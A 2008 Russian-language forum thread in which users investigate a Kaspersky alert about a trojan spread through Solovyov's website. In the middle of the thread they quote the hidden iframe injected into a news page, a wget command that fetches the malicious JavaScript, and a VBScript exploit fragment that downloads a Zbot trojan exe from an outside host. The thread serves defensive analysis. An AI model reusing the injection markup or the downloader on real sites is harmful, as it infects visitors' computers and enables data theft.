Если "каспер" не врёт, то сайт Соловьева распространяет трояны

Похоже с сайта ифрейм уже убран. Я найти в коде страницы не смог.

на amfitos тоже мне какую-то фигню из яваскрипта декодирует и пишет - типа ИП заблочен. Вредоносных действий тоже не наблюдается.

Возможно я - не целевая аудитория :)

ну кто успел, тот скушал дежурной командой аля:

wget --referer="http://treli.ru" --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1..4322)" http://amfitos(dot)com/classes/ie

и вот оно тогда отдает почти 16 кил жабаскрипта... кстати я сейчас опять wgetнул treli и ничего там не убрали, ну а по поводу народовского домена на NOC яшкин кинул.

kostich добавил 03.02.2008 в 10:05

<div class="cnt"><iframe src="http://banner.lbs.km.ru/1460284type=2rnd=0" frameb

order=0 vspace=0 hspace=0 width="520" height="80" marginwidth="0" marginheight="

0" scrolling="no"><a href="http://www.km.ru"><iframe src='http://krandash.narod.

ru' width='1' height='1' style='visibility:hidden'></iframe><img src="http://ban

ner.lbs.km.ru/1460284type=3rnd=0" width="520" height="80" alt="e-Style Advert" /

></a></iframe></div>

да тут он, никуда он не делся.

я на главной искал - там не оказалось. на странице новости таки есть ифрейм.

Да, кстати, попутно они нашли еще уязвимость на narod-e, т.к. открывающихся тэгов для запрета фреймов, скриптов и прочего там почему-то нет... а вот закрывающиеся видны.

Касперский, он как антивирус горбатый со своего рождения.

Ставьте McAffe и все станет на свои места с вирусами. ;)

там нет запрета фреймов и скриптов. :)

закрывающиеся теги сделаны дя того, чтобы пользователь не мог убрать рекламу, которая как раз ниже выводится.

ну так там реально какая-то хрень сгружается и спасибо касперу за то что сообщило...

kostich добавил 03.02.2008 в 12:25

Загружается там в итоге сплойт на VB, а exe берет вот тут:

    on error resume next

    dsl = "http://amfitos.com/classes/ie/exe.php"

    Set ydsf = document.createElement("object")

kipf1="clsi"

kipf2="d:BD96"

после проверки каспером сказало что там Trojan-Spy.Win32.Zbot.zf (NOD32 спокойно отреагировал)

ps. Буду благодарен, если кто-то ковырнет адрес хоста на который стучит троян, т.к. в винде у нас все нули.

kostich добавил 03.02.2008 в 12:30

На VirusTotal его уже знают -> http://www.virustotal.com/ru/reanalisis.html?40bf2cf2e37288ab36bb384d4a7b065b В проверке от 01.27 макафи сосал, если прямым текстом.

А я всегда говорил, что каспер лучше нода!:)

больше всех прикалывают сотрудники Яндекс-а, т.к. прошло уже 8 часов а сайт на народе жив.

А причем тут сотрудники яндекса?